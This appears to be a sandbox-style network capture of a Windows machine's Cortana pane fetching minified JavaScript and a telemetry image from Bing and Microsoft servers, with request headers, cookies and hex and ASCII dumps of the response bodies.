2024-01-26 09:18:08 UTC	866	OUT	GET /rp/4vd8DCnuU0PtIl2BOXSw75rFgww.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:09 UTC	902	IN	HTTP/1.1 200 OK Content-Length: 2011 Content-Type: text/javascript; charset=utf-8 Content-MD5: ix6RxuWb7LXYWhceHAYPog== Last-Modified: Tue, 31 Oct 2023 21:08:50 GMT ETag: 0x8DBDA5594991A54 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f7e0c9d6-e01e-001a-1175-297bf9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=102842 Expires: Sat, 27 Jan 2024 13:52:11 GMT Date: Fri, 26 Jan 2024 09:18:09 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260689.406decec Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:09 UTC	2011	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 2f 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 2f 2c 69 3d 2f 5c 73 2b 2f 67 3b 63 6c 61 73 73 20 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 29 7b 74 68 69 73 2e 5f 61 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 3d 74 3b 6e 2e 48 6f 73 74 2e 62 69 6e 64 41 63 63 65 73 73 54 6f 6b 65 6e 41 76 61 69 6c 61 62 6c 65 28 6e 3d 3e 7b 74 68 69 73 2e 67 65 74 50 72 6f 66 69 6c 65 50 69 63 74 75 72 65 54 6f 6b 65 6e 28 6e 2c 28 29 3d 3e 7b 7d 29 7d 29 7d 67 65 74 50 72 6f 66 69 6c 65 50 69 63 74 75 72 65 54 6f 6b 65 6e 28 74 2c 69 29 7b 74 68 69 73 2e 5f 61 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 2e 67 65 74 41 63 63 6f 75 6e 74 28 74 2c 74 3d 3d 31 3f 22 68 74 74 70 73 Data Ascii: var WSB;(function(n){const t=/[0-9a-zA-Z]/,i=/\s+/g;class r{constructor(t){this._accessTokenManager=t;n.Host.bindAccessTokenAvailable(n=>{this.getProfilePictureToken(n,()=>{})})}getProfilePictureToken(t,i){this._accessTokenManager.getAccount(t,t==1?"https

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.16	49771	204.79.197.222	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:09 UTC	1470	OUT	GET /r.gif?MonitorID=asgw&rid=e9aa0f6589c8f455df876a216fee4750&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22l-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:628,%22T%22:1},{%22RequestID%22:%22l-ring.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:509,%22T%22:1},{%22RequestID%22:%22t-ring-fallbacks1.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:671,%22T%22:1},{%22RequestID%22:%22t-ring-fallbacks1.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:542,%22T%22:1},{%22RequestID%22:%22d4b8db476c072517bc43f09f58d5d8ff%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:21845,%22T%22:128,%22Rip%22:%22%2081.181.57.0%22,%22Ep%22:%22%20hk2prdapp02%22,%22Mn%22:%22%20hk2app020%22},{%22RequestID%22:%22d4b8db476c072517bc43f09f58d5d8ff%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1605,%22T%22:128,%22Rip%22:%22%2081.181.57.0%22,%22Ep%22:%22%20hk2prdapp02%22,%22Mn%22:%22%20hk2app021%22}] HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp.msedge.net Connection: Keep-Alive
2024-01-26 09:18:09 UTC	306	IN	HTTP/1.1 200 OK Cache-Control: no-store Transfer-Encoding: chunked Content-Type: image/gif Access-Control-Allow-Origin: https://www.bing.com X-MSEdge-Ref: Ref A: E5F49A8E8CD1482289344C050C2BC488 Ref B: BL2EDGE2221 Ref C: 2024-01-26T09:18:09Z Date: Fri, 26 Jan 2024 09:18:08 GMT Connection: close
2024-01-26 09:18:09 UTC	12	IN	Data Raw: 37 0d 0a 47 49 46 38 39 61 01 0d 0a Data Ascii: 7GIF89a
2024-01-26 09:18:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.16	49772	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:09 UTC	866	OUT	GET /rp/61MaLZ_pjezq_JKtjhA6R4FndI4.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:09 UTC	903	IN	HTTP/1.1 200 OK Content-Length: 19703 Content-Type: text/javascript; charset=utf-8 Content-MD5: EkVKrawGRX9wQuCg+/vDGw== Last-Modified: Mon, 15 Jan 2024 10:50:26 GMT ETag: 0x8DC15B7C84BF6BD Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 2c1425f1-f01e-0074-3fdc-472ed6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=290938 Expires: Mon, 29 Jan 2024 18:07:07 GMT Date: Fri, 26 Jan 2024 09:18:09 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260689.406dedae Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:09 UTC	15481	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6c 61 73 73 20 74 20 65 78 74 65 6e 64 73 20 6e 2e 4a 73 6f 6e 44 61 74 61 50 72 6f 76 69 64 65 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 6e 3d 22 44 46 4c 53 22 29 7b 73 75 70 65 72 28 6e 29 3b 74 68 69 73 2e 64 61 74 61 53 6f 75 72 63 65 54 79 70 65 3d 6e 7d 67 65 74 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 64 61 74 61 53 6f 75 72 63 65 54 79 70 65 3d 3d 22 44 46 4c 53 22 3f 22 43 75 72 61 74 65 64 53 75 67 67 65 73 74 69 6f 6e 73 44 61 74 61 50 72 6f 76 69 64 65 72 22 3a 22 43 75 72 61 74 65 64 53 65 74 74 69 6e 67 73 44 61 74 61 50 72 6f 76 69 64 65 72 22 7d 66 65 74 63 68 28 74 2c 69 2c 72 2c 75 29 7b 74 2e 65 6e 61 62 6c 65 64 44 61 74 61 53 6f 75 72 63 65 73 5b 74 68 Data Ascii: var WSB;(function(n){class t extends n.JsonDataProvider{constructor(n="DFLS"){super(n);this.dataSourceType=n}getName(){return this.dataSourceType=="DFLS"?"CuratedSuggestionsDataProvider":"CuratedSettingsDataProvider"}fetch(t,i,r,u){t.enabledDataSources[th
2024-01-26 09:18:09 UTC	4222	IN	Data Raw: 6e 2e 69 6e 64 65 78 4f 66 28 22 2f 69 6d 61 67 65 73 2f 73 65 61 72 63 68 22 29 3e 3d 30 29 3f 21 30 3a 21 31 7d 69 73 53 68 6f 77 43 6f 6e 76 28 6e 29 7b 6e 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 29 3b 72 65 74 75 72 6e 20 6e 2e 69 6e 64 65 78 4f 66 28 22 73 68 6f 77 63 6f 6e 76 3d 31 22 29 3e 3d 30 3f 21 30 3a 21 31 7d 67 65 74 51 75 65 72 79 46 72 6f 6d 55 72 6c 28 6e 29 7b 76 61 72 20 74 3b 74 72 79 7b 69 66 28 6e 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 29 2c 6e 3d 6e 2e 73 74 61 72 74 73 57 69 74 68 28 22 6d 69 63 72 6f 73 6f 66 74 2d 65 64 67 65 22 29 3f 6e 2e 73 70 6c 69 74 28 22 3f 22 2c 33 29 5b 32 5d 3a 6e 2e 73 70 6c 69 74 28 22 3f 22 2c 32 29 5b 31 5d 2c 74 3d 6e 2e 73 70 6c 69 74 28 22 26 22 29 Data Ascii: n.indexOf("/images/search")>=0)?!0:!1}isShowConv(n){n=decodeURIComponent(n);return n.indexOf("showconv=1")>=0?!0:!1}getQueryFromUrl(n){var t;try{if(n=decodeURIComponent(n),n=n.startsWith("microsoft-edge")?n.split("?",3)[2]:n.split("?",2)[1],t=n.split("&")

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.16	49773	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:10 UTC	866	OUT	GET /rp/6Nc6wD1LVDO89UUu0yIzv8Dbmck.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:10 UTC	903	IN	HTTP/1.1 200 OK Content-Length: 44925 Content-Type: text/javascript; charset=utf-8 Content-MD5: m/Aj7fORwiqJUx3aFHMLVw== Last-Modified: Thu, 11 Jan 2024 14:28:56 GMT ETag: 0x8DC12B1A4C9770B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 94bd4ffc-701e-006a-5f02-4bc20e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=247785 Expires: Mon, 29 Jan 2024 06:07:55 GMT Date: Fri, 26 Jan 2024 09:18:10 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260690.406dee78 Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:10 UTC	956	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 2c 5f 5f 65 78 74 65 6e 64 73 2c 57 69 6e 64 6f 77 73 46 65 65 64 62 61 63 6b 2c 46 65 65 64 62 61 63 6b 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3b 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 66 6f 72 28 76 61 72 20 66 3d 6e 75 6c 6c 2c 72 2c 69 2c 75 3d 30 3b 75 3c 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 7b 72 3d 74 5b 75 5d 3b 74 72 79 7b 69 3d 72 2e 70 72 6f 76 69 64 65 28 29 7d 63 61 74 63 68 28 65 29 7b 6e 2e 6c 65 28 22 51 75 65 72 79 20 70 72 6f 76 69 64 65 72 20 22 2e 63 6f 6e 63 61 74 28 72 2e 6e 61 6d 65 2c 22 20 66 61 69 6c 65 64 22 29 2c 65 29 7d 69 66 28 74 79 70 65 6f 66 20 69 3d 3d 22 73 74 72 69 6e 67 22 26 26 Data Ascii: var Microsoft,__extends,WindowsFeedback,Feedback;(function(n){var t;(function(t){"use strict";function e(t){for(var f=null,r,i,u=0;u<t.length;u++){r=t[u];try{i=r.provide()}catch(e){n.le("Query provider ".concat(r.name," failed"),e)}if(typeof i=="string"&&
2024-01-26 09:18:10 UTC	16384	IN	Data Raw: 29 5d 2c 72 5b 22 73 63 72 6f 6c 6c 22 2e 63 6f 6e 63 61 74 28 69 29 5d 2c 72 5b 22 6f 66 66 73 65 74 22 2e 63 6f 6e 63 61 74 28 69 29 5d 2c 72 5b 22 63 6c 69 65 6e 74 22 2e 63 6f 6e 63 61 74 28 69 29 5d 29 29 3a 70 61 72 73 65 46 6c 6f 61 74 28 6e 2e 43 6f 72 65 2e 47 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 5b 69 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 6e 2c 74 2c 69 29 7b 76 61 72 20 75 3d 7b 7d 2c 66 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 29 75 5b 72 5d 3d 6e 2e 73 74 79 6c 65 5b 72 5d 2c 6e 2e 73 74 79 6c 65 5b 72 5d 3d 74 5b 72 5d 3b 66 3d 69 28 6e 29 3b 66 6f 72 28 72 20 69 6e 20 74 29 6e 2e 73 74 79 6c 65 5b 72 5d 3d 75 5b 72 5d 3b 72 65 74 75 72 6e 20 66 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: )],r["scroll".concat(i)],r["offset".concat(i)],r["client".concat(i)])):parseFloat(n.Core.GetComputedStyle(t)[i.toLowerCase()])}function a(n,t,i){var u={},f;for(var r in t)u[r]=n.style[r],n.style[r]=t[r];f=i(n);for(r in t)n.style[r]=u[r];return f}function
2024-01-26 09:18:10 UTC	8192	IN	Data Raw: 61 72 20 72 3d 73 62 5f 73 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 28 6e 75 6c 6c 29 7d 2c 74 29 3b 6e 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 62 5f 63 74 28 72 29 3b 69 28 6e 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 28 6e 75 6c 6c 29 7d 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 63 72 65 61 74 65 46 69 6c 65 50 72 6f 6d 69 73 65 73 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 66 69 6c 65 50 72 6f 6d 69 73 65 73 3d 7b 7d 3b 74 68 69 73 2e 66 69 6c 65 44 65 73 63 72 69 70 74 6f 72 73 52 65 63 65 69 76 65 64 3d 21 31 3b 74 68 69 73 2e 66 69 6c 65 73 52 65 71 75 65 73 74 65 64 3d 21 31 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 50 72 6f 6d 69 73 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 74 68 Data Ascii: ar r=sb_st(function(){i(null)},t);n.then(function(n){sb_ct(r);i(n)},function(){i(null)})})},t.prototype.recreateFilePromisesMap=function(){this.filePromises={};this.fileDescriptorsReceived=!1;this.filesRequested=!1},t.prototype.addPromise=function(n,t){th
2024-01-26 09:18:10 UTC	16384	IN	Data Raw: 6d 70 6c 65 74 65 64 49 6e 69 74 46 65 65 64 62 61 63 6b 46 6f 72 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 49 6e 69 74 46 65 65 64 62 61 63 6b 46 6f 72 6d 28 74 2c 69 29 3b 73 2e 6f 6e 53 63 72 65 65 6e 73 68 6f 74 43 6f 6d 70 6c 65 74 65 64 49 6e 69 74 46 65 65 64 62 61 63 6b 46 6f 72 6d 3d 6e 75 6c 6c 7d 2c 70 3d 32 65 33 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 72 65 73 74 6f 72 65 46 62 69 67 45 6c 65 6d 65 6e 74 73 28 29 3b 73 2e 6f 6e 53 63 72 65 65 6e 73 68 6f 74 43 6f 6d 70 6c 65 74 65 64 49 6e 69 74 46 65 65 64 62 61 63 6b 46 6f 72 6d 26 26 73 2e 6f 6e 53 63 72 65 65 6e 73 68 6f 74 43 6f 6d 70 6c 65 74 65 64 49 6e 69 74 46 65 65 64 62 61 63 6b 46 6f 72 6d 28 29 7d 2c 70 29 2c 72 26 26 74 68 69 73 2e 68 69 64 Data Ascii: mpletedInitFeedbackForm=function(){s.InitFeedbackForm(t,i);s.onScreenshotCompletedInitFeedbackForm=null},p=2e3,setTimeout(function(){s.restoreFbigElements();s.onScreenshotCompletedInitFeedbackForm&&s.onScreenshotCompletedInitFeedbackForm()},p),r&&this.hid
2024-01-26 09:18:10 UTC	3009	IN	Data Raw: 65 3d 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 22 29 26 26 28 74 2e 76 61 6c 75 65 3d 22 22 29 29 3b 4c 69 62 2e 43 73 73 43 6c 61 73 73 2e 74 6f 67 67 6c 65 28 73 2c 22 64 69 73 61 62 6c 65 64 22 29 3b 4c 69 62 2e 43 73 73 43 6c 61 73 73 2e 74 6f 67 67 6c 65 28 6f 2c 22 64 69 73 61 62 6c 65 64 22 29 7d 29 3b 46 65 65 64 62 61 63 6b 2e 43 6f 72 65 2e 45 6e 61 62 6c 65 56 61 6c 69 64 61 74 69 6f 6e 28 72 2c 21 31 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 73 65 74 53 68 6f 77 46 6f 72 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 75 2c 6e 3d 5f 67 65 28 74 68 69 73 2e 66 65 65 64 62 61 63 6b 43 6f 6e 74 61 69 6e 65 72 49 64 29 2c 66 3d 74 68 69 73 2e 47 65 74 43 61 74 65 67 6f 72 79 52 61 64 69 6f Data Ascii: e==t.getAttribute("data-err")&&(t.value=""));Lib.CssClass.toggle(s,"disabled");Lib.CssClass.toggle(o,"disabled")});Feedback.Core.EnableValidation(r,!1)},t.prototype.ResetShowForm=function(){for(var u,n=_ge(this.feedbackContainerId),f=this.GetCategoryRadio

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.16	49775	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:11 UTC	866	OUT	GET /rp/7_FbKeymGYZ7_-9xcBQEPEV22sg.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:11 UTC	903	IN	HTTP/1.1 200 OK Content-Length: 10421 Content-Type: text/javascript; charset=utf-8 Content-MD5: TQMeuiFRnkHgKxB9RxF4ug== Last-Modified: Mon, 15 Jan 2024 10:50:28 GMT ETag: 0x8DC15B7C99DEA30 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 958e8360-f01e-0029-2edc-472452000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=290655 Expires: Mon, 29 Jan 2024 18:02:26 GMT Date: Fri, 26 Jan 2024 09:18:11 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260691.406def85 Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:11 UTC	10421	IN	Data Raw: 76 61 72 20 57 53 42 3b 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 63 6f 6e 73 74 20 68 3d 32 2c 63 3d 35 2c 69 3d 32 30 30 2c 65 3d 38 36 34 65 35 2c 6c 3d 22 2f 6d 73 72 65 77 61 72 64 73 2f 61 70 69 2f 76 31 2f 67 65 74 75 73 65 72 69 6e 66 6f 22 2c 61 3d 22 2f 6d 73 72 65 77 61 72 64 73 2f 61 70 69 2f 76 31 2f 63 6f 64 65 78 65 6c 69 67 69 62 6c 65 22 2c 76 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 72 65 77 61 72 64 73 3f 72 65 66 3d 57 53 42 22 2c 79 3d 6e 3d 3e 7b 72 65 74 75 72 6e 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 72 65 77 61 72 64 73 2f 63 72 65 61 74 65 75 73 65 72 3f 70 75 62 6c 3d 43 4f 52 54 49 50 26 63 72 65 61 3d 4d 59 30 31 39 48 26 Data Ascii: var WSB;(function(n){const h=2,c=5,i=200,e=864e5,l="/msrewards/api/v1/getuserinfo",a="/msrewards/api/v1/codexeligible",v="https://account.microsoft.com/rewards?ref=WSB",y=n=>{return"https://account.microsoft.com/rewards/createuser?publ=CORTIP&crea=MY019H&

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.16	49776	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:11 UTC	866	OUT	GET /rp/9gCRzs8Nm2Gzn_DGoE0Pp_SoJfU.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:12 UTC	904	IN	HTTP/1.1 200 OK Content-Length: 127446 Content-Type: text/javascript; charset=utf-8 Content-MD5: OR9OLtAXxjX9mUoteO2+hg== Last-Modified: Fri, 05 Jan 2024 19:09:49 GMT ETag: 0x8DC0E21E3B46BA6 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3ef36a4d-101e-0088-4133-40ff2f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=226268 Expires: Mon, 29 Jan 2024 00:09:20 GMT Date: Fri, 26 Jan 2024 09:18:12 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260691.406df052 Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:12 UTC	981	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 4c 6f 63 53 74 72 69 6e 67 4d 61 6e 61 67 65 72 2e 72 65 67 69 73 74 65 72 28 7b 75 69 43 75 6c 74 75 72 65 3a 6e 2c 6e 61 6d 65 3a 22 4d 69 63 72 6f 73 6f 66 74 53 65 61 72 63 68 22 2c 6e 61 6d 65 73 70 61 63 65 3a 22 57 69 6e 64 6f 77 73 53 65 61 72 63 68 42 6f 78 22 7d 2c 7b 48 69 64 65 46 72 6f 6d 52 65 63 65 6e 74 48 69 73 74 6f 72 79 3a 74 5b 30 5d 2c 4d 73 62 46 72 65 45 78 61 6d 70 6c 65 48 65 61 64 65 72 54 65 78 74 3a 74 5b 31 5d 2c 4d 73 62 46 72 65 46 69 6c 65 73 53 70 61 6e 3a 74 5b 32 5d 2c 4d 73 62 46 72 65 46 69 6c 65 73 54 65 78 74 3a 74 5b 33 5d 2c 4d 73 62 46 72 65 46 69 6c 65 73 54 69 74 6c 65 3a 74 5b 34 5d 2c 4d 73 62 46 Data Ascii: (function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"MicrosoftSearch",namespace:"WindowsSearchBox"},{HideFromRecentHistory:t[0],MsbFreExampleHeaderText:t[1],MsbFreFilesSpan:t[2],MsbFreFilesText:t[3],MsbFreFilesTitle:t[4],MsbF
